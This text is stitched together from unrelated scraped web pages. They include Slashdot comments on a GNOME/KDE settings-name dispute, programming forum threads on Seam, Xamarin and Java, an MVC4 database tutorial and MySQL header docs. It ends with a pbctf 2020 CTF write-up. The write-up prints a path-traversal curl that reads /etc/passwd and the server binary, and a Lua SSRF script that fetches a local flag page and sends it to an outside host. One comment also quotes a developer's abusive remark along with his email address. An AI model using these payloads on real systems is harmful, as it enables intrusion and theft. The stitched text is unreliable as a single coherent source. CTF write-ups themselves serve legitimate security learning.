Can somebody explain where exactly there is a conflict? Which namespaces are affected? dbus,
/usr/bin/*, package names, .desktop files? "System Settings" as a name sounds perfectly fine and it makes perfect sense to name it that way for both environments, because it is a similar tool for the same job. Wouldn't the proper solution for this simply be to name the thing gsystem-setting and the other ksystem-settings and just label the menu entry "System Settings" depending on what DE you are currently running?
Gridiculous Klaims! (Score:2)
Re: (Score:2)
cause kde wants it THEIR way, and gnome wants it THEIR way
frankly I dont see the problem, kde has historically had most of its software listed with a K in front, why change it
Re: (Score:2)
Is there lightweight DE using QT4? I'd consider dumping GTK if there was something like XFCE on that side. I generally think that QT4 looks much nicer than GTK2. KDE is just to huge, and has all sorts of bells and whistles that I don't need. A special web browser, a music client, etc etc etc.
Let me get it right. (Score:5, Insightful)
The problem seems to be that duplicate names for different entries in menus on common distributions seem not be be correctly handled and the fix for this is not to go the consistent way (the same things are named in the same way) and fix the functions which create the menus (like detecting duplicate entries and attaching an indication of the package name in the entry), but to plainly forbid to name entries in the same way?
I dont like that. This is not the year of the linux desktop.
it's about name collision concerns (Score:2)
if you have an application named "System Settings" in both gnome and kde, you are going to have conflicts when both window managers are installed on the system. I'm not exactly certain how, but processes may confuse one for the other; it's just really bad practice to have two applications named the same anyhow. even if they *are* seperate distros.
Kontrol Kenter (Score:2)
Stupid design (Score:3)
It seems to be simply egregiously arrogant design for two session managers to insist on appropriating exactly the same part of this environment for themselves. That's like the C compiler insisting on using JAVA_HOME for some special purpose of its own.
Am I missing something fundamental here? Because I have found both Gnome and KDE to be a step backwards in terms of true ease of use and configurability compared to much simpler predecessors like twm. I can't even change the root cursor color. Pathetic.
Re: (Score:2)
I can't even change the root cursor color. Pathetic.
Wow, what an important feature. The GNOME (and KDE) devs should stop adding features like on-screen-keyboard support in GNOME Shell, truly rounded window corners, and complete chat integration in the shell to focus on what's obviously more important: an option to change the root cursor color.
Does it really matter that much? On a scale of "Pointless" to "Absolutely necessary", it ranks just below "It'd be nice to have". Of all the features users and developers really want, it's pretty low on most peoples' li
A modest solution (Score:2)
KDE should rename their Settings application to a unique string like: 'KDE Settings GnomeAreJerks' or 'Settings for KDE-is-better-than-GNOME'.
That solves the name conflict and underlying problems in one fell swoop.
Good grief... (Score:2)
Why not [Gnome|KDE|Xfce|etc.] System Settings? (Score:2)
I have Gnome 2, Unity, Xfce, and LXDE all on my home Linux workstation.
Due to having these 4 DEs on one box, my "Settings" menu is a bit cluttered. For example, the Gnome 2 settings options appear on my Xfce's Settings menu.
Why not just preface all their settings with their name? Such as "KDE System Settings", "Gnome System Settings", "Xfce System Settings", and so forth? That way it is more apparent which settings belongs to which DE, and as an added bonus if using alphabetical sort then each DE's menus an
Re: (Score:2)
"Why not just preface all their settings with their name? Such as "KDE System Settings", "Gnome System Settings", "Xfce System Settings", and so forth?"
Because that isn't sufficiently "cute" or "user friendly".
It's the right of developers who work hard to give us Free stuff to be Aspies and not "get" users other than themselves.
It's our right to point that out.
Re: (Score:2, Flamebait)
Moron AC much? The post could be held up as an alternative canonical example of trolling - presenting plausible, but wrong, information as authoritatitve.
There IS a standard involved here, and GNOME is trying* to not simply ignore it, but break it.
* Sufficiently advanced incompetence is indistinguishable from active malice
Re: (Score:2)
[citation needed]
To be honest i haven't looked, but I would not expect to see a standard on "a control panel naming scheme". Really i think the issue is that these KDE and gnome apps do not have their setting exposed in the app itself or in the case of DE wide settings, it should be ${DE}-settings. My system and my DE are separate or do these "system settings" apps really configure; init, httpd, user accounts, user shells, logging settings, and other such settings?
VSO word order (Score:2)
Wrong word order. If you want to say "it is red", you don't say "is it red"
You don't in English, but you do in Welsh, Irish, Hawaiian, Tagalog, and written Arabic [wikipedia.org].
Re: (Score:2)
Wrong word order. If you want to say "it is red", you don't say "is it red"
That post made no sense at all. Are you arguing for a prefix? That they call it "panel-control"? Why does the word order matter?
Re: (Score:2)
Re:That is a ridiculous complaint ... (Score:4, Insightful)
Yes. Basically, GNOME apps have some of their setting only st-able in the GNOME control panel. Same for KDE.
Now, despite what some people would have you believe, it is normal, usual, reasonable to have apps from both environment running under whitchever one you prefer. And you may still want to change their settings.
But now, it turns out that in your menu, you have two completely different system settings, named "system settings". This is clearly not very nice.
So ideally, they ought to be called GNOME SS and KDE SS, except for two details.
- KDE named their "system settings" first, and the GNOME dev knew about that
- KDE decided that "KDE" means the community, not the DE. And clearly, the app configures the DE...
To me, this is a case of KDE lacking a bit of forsight, and GNOME being their usual arrofant selves (we are an OS -- no you're not, you are a DE, and that is quite enough)
Re: (Score:3)
Who cares who thought of it "first"? The phrase "System Settings" is not a name, it's a description of the tool. If they both manage system settings, and they're foolishly named based on what they do instead of what they are (like the current trend of calling Firefox / Koqueror / whatever "web browser" or just "web" in the menu), then obviously there will inevitably be conflicts.
Go back to coming up with unique names within a theme (ie, "Konfigure"), and this goes away.
Re: (Score:2)
More than that, I'm fairly sure Apple called it "System Settings" before KDE did, which makes this really hypocritical on the part of the KDE devs.
Re: (Score:2)
More than that, I'm fairly sure Apple called it "System Settings" before KDE did, which makes this really hypocritical on the part of the KDE devs.
Perhaps you should consider reading the article before slinging accusations. The issue is who used the name first, but that the newly introduced name collision breaks the Unity interface. [launchpad.net]
Re: (Score:2)
Who cares who thought of it "first"?
Implemented it first, you mean. The one who implemented it second is the one who broke the system and is therefore at fault. I would like to believe it was an accident.
Re: (Score:2)
I already do this -- I refer to my own software by the SHA-1 hash of the GIT commit.
"After you merge e49fe with 1fef3 make sure the unit tests don't show regressions WRT the issues addressed in 8fc21."
(Referring to e49fe572c4ca9ada2ee470eede12735898dfe3a1, 1fef37cfc05a29708d9f36cd303d28a2c4987928, and 8fc21ec53c8e3fc465929b17db3d47a93a82b97a respectively.)
To avoid confusion instead of version numbers we also refer to specific not-tagged builds by their abbreviated SHA-1 + platform. "Nightly" is sort
Re:"control panel" (Score:4, Funny)
Agreed. It should be Kontrol Kpanel. They really love putting K in front of everything as it is... or have they finally gotten over that?
Re: (Score:2)
NOT Kontrol! (Score:3)
Vee respectfully disagree. Vee say it should be Kaos Panel.
Re: (Score:2, Informative)
The choice of name (and the conflict) was intentional. That's my problem with the whole thing.
Re: (Score:2)
KDE is at fault too, why are they claiming it is system settings? does it handle ~/.bash_profile,
/etc/profile, init, httpd, postresql config, etc or is it simply KDE settings?
If they are both the later (kde or gnome settings) the reasonable thing to do would be to kname them gboth "Gnome Desktop Environment Settings" and "KDE Desktop Environment Settings". Naming problems solved.
Re: (Score:2, Informative)
and it only collides if you install and use both KDE and Gnome at the same time. so, if I provide you a ditch big enough, will you be so kind and go die in it? thanks.
Thus spaketh arrogant prick. lesser humanoid, and Gnome Developer Emmanuele Bassi (ebassi@gmail.com).
Olav will be displeased with you, Emmanuele. Guess being a prick precludes you from signing that Gnome Code of Conduct:
Re: (Score:2)
Re: (Score:3)
Re: (Score:2)
I always considered it douchey of kde to name it "systemsettings" anyway. Should have been "kde-system-settings" or something. It sure as hell doesn't handle non-kde stuff properly.
You should mention that here: [kde.org]
|
https://tech.slashdot.org/story/11/07/23/1631232/GNOME-and-KDE-Devs-Wrangle-Over-System-Settings-Name
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refinedweb
| 5,110
| 72.16
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Hi folks,
I'm trying to externalize all the business logic to rule files for each entity. With Seam this is conceptually not complex to do at all, in fact really straight forward. I just need a ruleBase /managedWorkingMemory for each entity and configure them in the component.xml. But then I need something like this in each entity class:
@Entity @Name("foo") @Table.... public class Foo implements Serializable { ... @In(create = true) private RuleBase fooBusinessLogics; ... }
okay, I figured out, without pseudo business methods (inside which, just start a rule session and execute the named rules) I can directly call the business rules in conversation beans using the configured ruleBase for each entity class. Things are getting really neaty now with this a rule base per each entity class approach for my problem....
sorry I meant "neat" in my last post
|
https://developer.jboss.org/thread/137408
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refinedweb
| 140
| 56.15
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I need focus a entry after of click a button.
I has think in implement a Behavior but i dont know that is the problem.
This is my code.
View.
Behavior Class.
`public class EntryFocusBehavior : Behavior
{
public bool OnFocus { get; set; }
protected override void OnAttachedTo(Entry bindable) { base.OnAttachedTo(bindable); bindable.TextChanged += OnEntryTextChanged; } protected override void OnDetachingFrom(Entry bindable) { base.OnDetachingFrom(bindable); bindable.TextChanged -= OnEntryTextChanged; } void OnEntryTextChanged(object sender, TextChangedEventArgs e) { var entry = (Entry)sender; if (OnFocus) { entry.Focus(); } else { entry.Unfocus(); } } }`
And viewmodel.
public bool OnFocus { get; set; }
OnFocus ="True or False"
I need use PropertyChanged in view model binding??
Binding control is two away?
Thanks by help me forum community.
That kind of UI specific behavior doesn't belong in a VIewModel. A ViewModel could be the binding context of 10 different views. Or none.
If you're going to do it anywhere it would be in the code behind of the view - since the expectation is for that view - not the the logic which is UI agnostic.. Keep UI to UI.
@AlessandroCaliaro How can use MessagingCenter? You have a example, please.
I dont know of this topic.
@AlessandroCaliaro @ClintStLaurent guys i can`t message method dont work me.
I am look the example of @NMackay
But there are things of method that i dont know do that.
Can help me being more specific
Being frank: MessageCenter does work. Its not broken.
There is a lot of material out there on how to use it. There isn't much we can do about "I don't grasp it". There is a learning curve to development in general and Xamarin specifically. It will just take you time and practice to learn.
Ok guys, i have other solution.. this work for me in MVVM .
Create a static object in page.xaml.cs:
static Ingresar instance;
Create a method static of you classname.
public static page GetInstance()
{
if (instance == null)
{
instance = new page();
}
return instance;
}
Create a basic method with nameentry.focus()
In constructor write the next code:
instance = this
After, you should create a var where you call to GetInstance() in ViewModel
Last, you call the basic method that you create in CodeBehind
Post: You need declare a x:Name in entry control.
Success in you code.
Greeting to Juan Carlos Zuluaga Teacher in Xamarin Forms from Medellin Colombia.
@ElPipon - I don't understand that last post.
Going back to the original question, @ClintStLaurent is correct - all you need is to call entryInstance.Focus() from the Button's OnClick handler in the code-behind.
In scenarios where you are moving focus from one Entry to another (which would normally be in a Completed handler), you might need to call Unfocus() on the previous Entry before calling Focus() on the next Entry, but that's presumably not the case here.
There is an extra complication, in that you might want to scroll the page before putting the focus onto the next Entry. There are confirmed bugs in Bugzilla that impact this scrolling currently, but that's extra complexity on top of what you asked about.
This is an example of how I do, before this I used to do using MessagingCenter
in xaml , you need to give an x:Name to the obj you want to make focus.
then you have to make reference to that control in your command parameter on a button or for example in this case I use a toolbar item.
then in your vm command :
The issue with that approach is it violates the separation between View and ViewModel. A ViewModel isn't supposed to know anything about your viewS you could have 20 views binded to the same ViewModel - or none.
You're making an assumption in your
commandthat there even is a view. The very name "ShowCalendar" is a problem - Having a method that micromanages UI is a problem... because a ViewModel shouldn't be controlling UI - that's not how good MVVM is architected.
Showing and hiding UI elements is by its very nature UI layer and should be handled in UI not in a ViewModel.
I realise this is quite an old thread now, but I'm having some issues with focusing too...
My approach (MVVM) is ViewModel bound to View and for the view to manage focusing. I do this via the BindingContextChanged event in code behind view where I subscribe to the property changes of the bound viewmodel. Then in there trapping certain properties to then set focus to the next control, however, the focus is not being set..... Loosing my patience with this. I'm even trying delayed...
Anyone have any suggestions? Reluctant to use MessagingCentre
|
https://forums.xamarin.com/discussion/98525/entry-focus-xamarin-forms-mvvm
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CC-MAIN-2019-09
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refinedweb
| 777
| 66.44
|
CodePlexProject Hosting for Open Source Software
An unexpected error has occured.
There is an unsaved comment in progress. You will lose your changes if you continue. Are you sure you want to reopen the work item?
Voted
# main.py
import imp
import module1
with open('module1.py', 'r') as f:
module1 = imp.load_module('module1', f, "module1.py", (".py", "r", imp.PY_SOURCE))
module1.foo()
# module1.py
import sys
print(sys._getframe().f_code.co_filename)
def foo():
print(sys._getframe().f_code.co_filename)
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|
http://pytools.codeplex.com/workitem/1695
|
CC-MAIN-2016-36
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refinedweb
| 101
| 55.3
|
I want to set up some code that depending on the time of day (internal computer time i guess). It switches to do something else.
Heres in english:
y = 1 <br>
if 6:30am then<br>
x = 1 + y<br>
if 7:00am then<br>
x = 2 + y<br>
if any_other_time then<br>
x = 0<br>
Here is what i have so far in my script.
import time<br>
clock = time.time()
y = 0
if clock < 6:30am
x = 2 + y
but i know this isn't right because time.time displays something different then 6:30am
IMHO i would use the datetime library
eg.
>>> datetime.utcnow()
datetime.datetime(2007, 12, 6, 15, 29, 43, 79060)
check this post
|
http://serverfault.com/questions/203064/python-actions-depending-on-time
|
crawl-003
|
refinedweb
| 119
| 82.04
|
Interface for low level time utilities. More...
#include "my_config.h"
#include <assert.h>
#include <cstddef>
#include <cstdint>
#include <limits>
#include <sys/time.h>
#include "mysql_time.h"
Go to the source code of this file.
Interface for low level time utilities.
Flags to str_to_datetime and number_to_datetime.
Portable time_t replacement.
Should be signed and hold seconds for 1902 – 2038-01-19 range i.e at least a 32bit variable
Using the system built in time_t is not an option as we rely on the above requirements in the time functions
Available interval types used in any statement.
'interval_type' must be sorted so that simple intervals comes first, ie year, quarter, month, week, day, hour, etc. The order based on interval size is also important and the intervals should be kept in a large to smaller order. (get_interval_value() depends on this)
Predicate for fuzzyness of date.
"Casts" a MYSQL_TIME to datetime by setting MYSQL_TIME::time_type to MYSQL_TIMESTAMP_DATETIME.
"Casts" MYSQL_TIME datetime to a MYSQL_TIME date.
Sets MYSQL_TIME::time_type to MYSQL_TIMESTAMP_DATE and zeroes out the time members.
"Casts" MYSQL_TIME datetime to a MYSQL_TIME time.
Sets MYSQL_TIME::time_type to MYSQL_TIMESTAMP_TIME and zeroes out the date members.
Check for valid times only if the range of time_t is greater than the range of my_time_t.
Which is almost always the case and even time_t does have the same range, the compiler will optimize away the unnecessary test (checked with compiler explorer).
Alias for my_time_trunc.
Return the fraction of the second as the number of microseconds.
Round the input argument to the specified precision by computing the remainder modulo log10 of the difference between max and desired precison.
Truncate the number of microseconds in MYSQL_TIME::second_part to the desired precision.
Truncate the tv_usec member of a posix timeval struct to the specified number of decimals.
Predicate which returns true if at least one of the date members are non-zero.
Predicate which returns true if at least one of the time members are non-zero.
Extract the microsecond part of a MYSQL_TIME struct as an n * (1/10^6) fraction as a double.
Convert a MYSQL_TIME to double where the integral part is the timepoint as an ulonglong, and the fractional part is the fraction of the second.
The actual time type is extracted from MYSQL_TIME::time_type.
Convert a MYSQL_TIME datetime to double where the integral part is the timepoint as an ulonglong, and the fractional part is the fraction of the second.
Convert a MYSQL_TIME time to double where the integral part is the timepoint as an ulonglong, and the fractional part is the fraction of the second.
Round any MYSQL_TIME timepoint and convert to ulonglong.
Function to check sanity of a TIMESTAMP value.
Check if a given MYSQL_TIME value fits in TIMESTAMP range. This function doesn't make precise check, but rather a rough estimate.
Required buffer length for my_time_to_str, my_date_to_str, my_datetime_to_str and TIME_to_string functions.
Note, that the caller is still responsible to check that given TIME structure has values in valid ranges, otherwise size of the buffer might well be insufficient. We also rely on the fact that even incorrect values sent using binary protocol fit in this buffer.
Conversion warnings.
Usefull constants.
Only allow full datetimes.
Allow zero day and zero month.
Allow 2000-02-31.
Limits for the TIME data type.
Note that this MUST be a signed type, as we use the unary - operator on it.
Don't allow 0000-00-00 date.
Don't allow zero day or zero month.
Allow only HH:MM:SS or MM:SS time formats.
Time handling defaults.
Flags for calc_week() function.
Two-digit years < this are 20XX; >= this are 19XX.
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https://dev.mysql.com/doc/dev/mysql-server/latest/my__time_8h.html
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refinedweb
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I have a generic class that contains a compareTo() method
I'm getting an error on the method it'self that goes something like;
How do I fix it?How do I fix it?Code Java:
here's my class
:confused::confused:Code Java:
public class twos<P,N> implements Comparable<twos<P,N>>{ private P a; private N b; } public twos(P puu, N paa ){ a=puu; b=paa;} public P getP(){ return a;} public N getN(){ return b;} public compareTo(P bee){ int num1 = ((Comparable<twos<P, N>>) this.a).compareTo( (twos<P, N>) bee.b ); if (num1 != 0) return num1; if (this.a < bee.a) return -1; if (this.a > bee.a) return 1; return 0; } } }//end of class
Any help is appreciated
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http://www.javaprogrammingforums.com/%20whats-wrong-my-code/34453-implementing-generic-compareto-printingthethread.html
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CC-MAIN-2015-18
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refinedweb
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In the last post, we saw how to set up an MVC4 web site in Visual Studio 2012, and how to add a simple controller and view to it.
Most web sites that do anything more than display a bit of fixed information have a database behind them. For example, a blog is backed by a database that stores the posts, a shop contains information on products available in a database and so on.
In this post, we’ll expand our ComicShop site so it contains a database that stores information about comics in stock. There are many databases available, but for now we’ll take the easiest route and use SQL Server Compact Edition, which is included with VS2012. This database has the advantage that it doesn’t require a separate server running in the background; it stores its data in a local file and accesses this file whenever it needs to update the data.
Most of the web sites and books I looked at contained instructions for installing a SQL Server CE database and connecting it with an MVC4 project, but unfortunately, if you start from an Empty project in VS2012, these methods didn’t work: the first attempt to access the database threw an exception complaining that it was unable to attach the database file.
Eventually I tracked down the problem, so in this post I’ll show how to connect a simple database to an MVC4 project.
We’ll begin by creating the database, and then add a controller and a view that allows us to add data to it.
Starting with our ComicShop project from the last post, in Solution Explorer, right-click on App_Data and select Add –> SQL Server Compact 4.0 Local Database. Name this database ComicBooks. You should see a database appear under the App_Data folder. Double-click on this file to open the Server Explorer. Open the ComicBooks node and right-click on Tables, then select Create Table. In the dialog that appears, name the table Books.
Now create some columns in this table, as follows. First, we create a primary key for the table, which we’ll call Id. Enter Id as the column name, set its Data Type to int, then set Primary Key to Yes and Unique to Yes. (The Allow Nulls value should automatically become No during this process.) In the box at the bottom of the dialog, set its Identity to True. This will make Id an auto-incrementing field, so every time you add a record to the table, Id will automatically increase by 1.
Now add a Title column, setting its Data Type to nvarchar, then a Volume column, setting its Data Type to int. Then Issue, also an int. Finally, add a Publisher column, setting its data type to nvarchar. Click on OK to close the dialog.
Just to verify that the table has been created properly, open the Tables node in Server Explorer, right-click on the Books table and select Show Table Data. You should see a window showing one row with the columns you just defined, each containing a NULL entry.
Now that we have our database defined, we need a way of putting data into it. One way is to edit the data table in the Show Data Table window directly, but that obviously isn’t much use if you want to edit the data via the web site. So we need to add a controller and view that allows access to the database via a web page.
First, we need a class to store the data fields for a single comic book. This class will mirror the structure of the database. Since it stores data, it belongs in the Models folder, so right-click on Models in Solution Explorer and select Add–>Class. Call the class Book, and enter some properties to match those in the database:
namespace ComicShop.Models { public class Book { public int Id { get; set; } public string Title { get; set; } public int Volume { get; set; } public int Issue { get; set; } public string Publisher { get; set; } } }
Next, we need a way of connecting the C# code to the database. The easiest way (well, after we know what to do…it took a lot of searching to find the right way of doing it!) is to use a DbContext. Add another class called ComicContext to the Models folder, with code as follows (I’ll explain this code in more detail later):
using System.Data.Entity; namespace ComicShop.Models { public class ComicContext : DbContext { public ComicContext(string conn) : base(conn) { } public DbSet<Book> ComicBooks { get; set; } } }
You will notice that VS complains that System.Data.Entity doesn’t exist. You might think that the usual solution of adding this namespace in your References list will fix the problem, but even though System.Data.Entity does exist in the list of assemblies you can add to References, adding it doesn’t help much: VS still complains that it can’t find DbContext (even though the online documentation says that it is part of System.Data.Entity).
The solution turns out to require the addition of a NuGet package. To do this, right-click on References in Solution Explorer and select Manage NuGet Packages (if this option doesn’t exist, you’ll need to install NuGet from nuget.org). Select Online on the left, and enter EntityFramework in the search box in the upper right. After the search engine finds it, check that it’s version 5.0.0 of EntityFramework, then click on Install. At this point, everything should compile properly. (For the curious, EntityFramework is a huge topic in its own right, so we won’t go into that here.)
We also need to install another NuGet package to allow us to use SQL Server CE, so while you’ve got NuGet open, do a search for EntityFramework.SqlServerCompact. This should return only a single result, so install that and then close the NuGet dialog.
We’ve now got the model classes set up so we need to add the controller and view to allow data to be input. Open HomeController.cs (which we created in the last post). Remember that each method in this controller corresponds to a separate URL that the user can visit in your web site. The Index() method gives the home page which we saw last time.
We want to add a page for entering data for a comic book, so we’ll write an Add() method. The code is much the same as for Index():
public ActionResult Add() { return View(); }
Right-click in this method and select Add View, accepting the default name of Add. We’ll keep things simple by knocking up a basic HTML form; it’s not pretty but we can worry about that later. Right now we just want to get the site working. The code is
@{ ViewBag. <fieldset> <legend>Add comic form</legend> Title: <input type="text" name="Title" maxlength="100" /> <br /> Volume: <input type="number" name="Volume" /> <br /> Issue: <input type="number" name="Issue" /> <br /> Publisher: <input type="text" name="Publisher" /> <br /><br /> <input type="submit" value="Submit Comic" /> </fieldset> </form>
This produces four input boxes for entering the four bits of data required for a comic book, and then displays a submit button at the bottom, which returns the entered data back to the web server.
Note that we’ve named each input element so that its name matches the corresponding field in the Book class (and hence the column in the database); this is important for the connection to work properly.
The last link in the chain is the handler for the data submitted by the form. To enable communication with the database, we need to let the web server know where to find the database file. This requires adding a bit to the web.config file for the project. Open Web.config in Solution Explorer (Note that there are two web.config files, one at the top level and one inside the Views folder. It’s the top-level one we want.) At the end of the file, just above the closing </configuration> tag, insert the following:
<connectionStrings> <add name="ComicContextDb" connectionString="Data Source=|DataDirectory|\ComicBooks.sdf" providerName="System.Data.SqlServerCe.4.0"/> </connectionStrings>
(This assumes you’ve followed the instructions above and created your database file under App_Data with the name ComicBooks.) This defines a connection to the database file called ComicContextDb, and specifies that it is a SQL Server CE database.
Now we can write the handler for the data sent back by the form. To do this, we add a bit more code to the HomeController class:
private ComicContext database = new ComicContext("ComicContextDb"); [HttpPost] public ActionResult Add(Book book) { database.ComicBooks.Add(book); database.SaveChanges(); return Content("New comic added."); }
We create an instance of our ComicContext model class and pass it the name of the connection that we defined in web.config above. If you look at the code for ComicContext above, you’ll see that this string is passed back to the base class (DbContext), which takes care of the interaction with the database, so this base class will use the connection string to establish a link with the database.
Another important point is that the data type (in this case Book) specified in the DbSet object in ComicContext is the singular of the name of the table (Books) in the database. This is actually required in order for the link to work properly. In fact, if we had specified a different class name in DbSet, a table with that name with an ‘s’ added at the end would be created within the database automatically. In general, if you change the underlying model code that links with the database after the database has been created, you’ll need to invoke a ‘migration’ process to update the database so it is in sync with the new code. We won’t go into that here, but just be aware that making changes isn’t entirely straightforward.
Returning to our second Add() method above, note that it is prefixed by an [HttpPost] tag. This indicates that the method is a handler for data returned from the Add page via the HTTP post protocol. The returned data is used to create a Book object (by matching up the control names with the Book’s field names, as mentioned above) which is then passed into the Add() method as its parameter.
The first line of Add() adds the new Book object to the ComicBooks DbSet of the database object, and the next line saves the changes to the database itself. If you’ve done any database programming before, it’s at this point that you would normally write SQL statements for inserting a new record into the database, but the DbContext and DbSet classes do all this for you.
Finally, we return a Content object that prints a message saying “New comic added.”. Obviously in a proper web site we’d want something a bit fancier than that, but at this stage that’s all we need to see that it works.
If you now start the site running and then enter the URL localhost:36195/Home/Add, (your port number might be different), you should see the form for entering some data for a new comic book. Fill in some data and press the submit button, and if all goes well, you should see the “New comic added.” message.
We haven’t provided any way of seeing the contents of the database on the web site yet, but to verify that the comic you just entered did in fact make it into the database, you can use the Show Table Data command to look at the Books table.
thanks
Trackbacks
[…] seen how to add a database to an MVC 4 project, and how to enter data from a web page and store it in the database. Here […]
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https://programming-pages.com/2012/08/28/mvc-4-adding-a-database/
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refinedweb
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This year, my team (Crusaders of Rust) played in perfect blue's inaugural CTF, and it was a ton of fun. As always, I focused on mainly web challenges, and they were very interesting! My teammates were super helpful, basically helping to finish my ideas and finalize exploits on every web challenge.
We ended up getting 11th place, which I think was pretty good when considering we only got one pwn and one rev. We missed solving two web challenges, r0bynotes (with 4 solves), and XSP (with 3 solves).
Well, onto the writeups.
Apoche 1 was an interesting challenge where they say an old version of 'apoche' is being used. Checking online, I find nothing about 'apoche', and so I assume it has to be a custom web server binary. Going to the link, we see:
Going through all of the pages, there's nothing interesting to find. So, time to start some initial recon. My teammate helpfully remembered to check
robots.txt (I always forget lol), and we discover the existence of a
/secret/ directory.
User-agent: * Disallow: /secret/
In the secret folder, we find 6 text files, the most important of which,
5.txt, says:
2020-01-02 It's the second day of the NEW YEAER! quite exciting I just noticed somebody was trying to access my /var/www/secret data 😢 so I decided to filter out '/' and '.' characters in the beginning of the path. Maybe I should stop logging stuff here... not safe -- theKidOfArcrania
Hm, it looks like the author of the binary did some filtering with
/and
.characters. This has all the signs of a path / directory traversal attack. Playing around with the URL, we end up finding a way to leak arbitrary files.
[email protected]:~/CTFs/pbctf2020$ curl --path-as-is root:x:0:0:root:/root:/bin/console web:x:1000:1000::/home/web:/bin/sh
Now, with arbitrary file read, we tried examining various locations in the file system. One place to always check is
/proc/self, to see if you can leak environment variables or cmdline arguments. The hint from before leads me to
/proc/self/exe, which is a link that points to the currently running process. Requesting that link, and dumping the contents of the file, we grabbed the custom server binary.
[email protected]:~/CTFs/pbctf2020/web_apoche$ file exe exe: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=b26109fa468be74ca8de6fea31f2f3bbdd45d5c6, for GNU/Linux 3.2.0, not stripped [email protected]:~/CTFs/pbctf2020/web_apoche$ strings exe | grep pbctf Btw, the first flag is pbctf{n0t_re4lly_apache_ap0che!}
And, we got the flag. Solving this challenge unlocked "Apoche II", the 2nd part of this challenge. But, since it was about pwning this custom web server binary, I didn't look into it.
pbctf{n0t_re4lly_apache_ap0che!}
In this challenge, we got first blood, 30 seconds before the other teams solved. It felt nice to be at the top of the leaderboard for those 30 seconds. Navigating to the website, we see:
Putting in a URL, we do get a request at the other end. However, we don't get the contents back from the website, only the "geometry" of the site. Not really sure what that means, but I assumed it was just the window size of the website. This looks to be some
SSRF attack. The website provides the source code behind the scraper, and we see that it's written in PHP.
It has three files,
api.php,
flag.php, and
index.php. Checking out
flag.php, we see:
<?php $FLAG = getenv("FLAG"); $remote_ip = $_SERVER['REMOTE_ADDR']; if ($remote_ip === "172.16.0.13" || $remote_ip === '172.16.0.14') { echo $FLAG; } else { echo "No flag for you :)"; } ?>
So, it looks like we can get the flag by requesting
flag.php only if we come from the local IPs. We can put
into the scraper, which does make the local request, but since it only prints out the geometry, we can't read the flag.
Checking out
api.php, we see:
<?php error_reporting(0); header("Content-Type: application/json"); function fail() { echo "{}"; die(); } if (!isset($_GET['url'])) { fail(); } $url = $_GET['url']; if ($url === '') { fail(); } try { $json = file_get_contents(" . urlencode($url)); $out = array("geometry" => json_decode($json)->geometry); echo json_encode($out); } catch(Exception $e) { fail(); } ?>
Hm, it seems to use something called
splash and
render.json. It puts our url through
urlencode, so anything we put (like url parameters,
geometry from the json request, and returns that.
&,
?, etc) are correctly encoded. Then it gets the
Looking online, we find the splash scraping API. At first, we thought that the solution would come from being able to leak data with the website's geometry somehow, or by changing the fields so that geometry corresponded to the HTML of the site.
But, looking at the API docs, I found the
lua_source argument, which lets you execute a custom script. The example script provided is:
function main(splash, args) splash:go(" splash:wait(0.5) local title = splash:evaljs("document.title") return {title=title} end
Now, how can we use this to get the flag? Well, the first idea is to just include the
lua_source parameter in our URL, but since it's
urlencoded, it doesn't get passed to splash. Then, I came up with the idea: why not use the splash scraper to make a request to the splash scraper again?
We first write a lua script that grabs the flag and makes a request with it:
function main(splash, args) assert(splash:go(" assert(splash:wait(0.5)) splash:go(" .. splash:html()) return { html = splash:html(), png = splash:png(), har = splash:har(), } end
Then, we
urlencode the payload, and add it to
So, when the scraper accesses this website, it'll run our lua script, and make a request with our flag.
Sending over the URL:
gives us the flag.
pbctf{1_h0p3_y0u_us3d_lua_f0r_th1s}
Simple Note was a very "interesting" challenge, in that the code was way too simple. The website brings you to a place where you can submit text.
Here's the source code provided:
import uuid import os import time from flask import Flask, request, flash, redirect, send_from_directory, url_for UPLOAD_FOLDER = '/tmp/notes' app = Flask(__name__) app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER @app.route('/notes/<filename>') def note(filename): return send_from_directory(app.config['UPLOAD_FOLDER'], filename, mimetype="text/plain") @app.route('/') def index(): if request.args.get('note') and len(request.args.get('note')) < 0x100: time.sleep(1) # ddos protection filename = uuid.uuid4().hex with open(os.path.join(app.config['UPLOAD_FOLDER'], filename), "w") as f: f.write(request.args.get('note')) return redirect(url_for("note", filename=filename)) return ''' <!doctype html> <title>Create a note</title> <h1>Create a note</h1> <form> <textarea name=note></textarea> <input type=submit value=Upload> </form> '''
But, looking over the source code, we found no bugs. No path traversal bug since
send_from_directory is secure, no file name shenanigans because it's randomized. So, I started combing over the other files provided.
The source code also had copies of the
apache2 config,
and also
Dockerfiles for the Docker containers.
Running
diff on the new config, we see:
This honestly doesn't look very interesting. It loads apache's
uwsgi proxy modules to make all requests to
4444. uWSGI is named after the "Web Server Gateway Interface" and is often used to serve Python applications through the
uwsgi protocol. It also loads the
module, which I thought was weird, but nothing struck me out as vulnerable.
/go to the uwsgi app at port
Looking at the main
Dockerfile for the app, we see:
FROM python:3.8.5-buster ARG FLAG RUN mkdir -p /app /tmp/notes COPY app.py /app/ COPY requirements.txt /app/ RUN echo $FLAG > /flag.txt WORKDIR /app RUN pip install -r requirements.txt RUN groupadd -r app && useradd --no-log-init -r -g app app RUN chown app:app /tmp/notes USER app EXPOSE 4444 CMD [ \ "uwsgi", "--puwsgi-socket", "0.0.0.0:4444", "--manage-script-name", "--mount", "/=app:app", "--mount", "=app:app", \ "--max-requests=50", "--min-worker-lifetime=15", "--max-worker-lifetime=30", "--reload-on-rss=512", "--worker-reload-mercy=10", \ "--master", "--enable-threads", "--vacuum", "--single-interpreter", "--die-on-term" \ ]
This shows us that the flag is located at
/flag.txt. We also got the launch parameters for
uwsgi, which look a little odd, but at the time I assumed that they were for load balancing. Well, with no obvious vulnerability, I started looking online for CVEs and research papers. Eventually, I found this, an article about CVE-2020-11984.
The most important message from the article is:
A malicious request can easily overflow pktsize (C) by sending a small amount of headers with a length that is close to the LimitRequestFieldSize default value of 8190... If UWSGI is explicitly configured in persistent mode (puwsgi), this can also be used to smuggle a second UWSGI request leading to remote code execution. (In its standard configuration UWSGI only supports a single request per connection, making request smuggling impossible)
The CVE documents a buffer overflow in an older version of
apache2 (which was being used), that might lead to RCE through interpreting uWSGI packets. Unfortunately, there was no PoC to implement this CVE... CTF challenges where you have to implement n-days are always fun 🙃
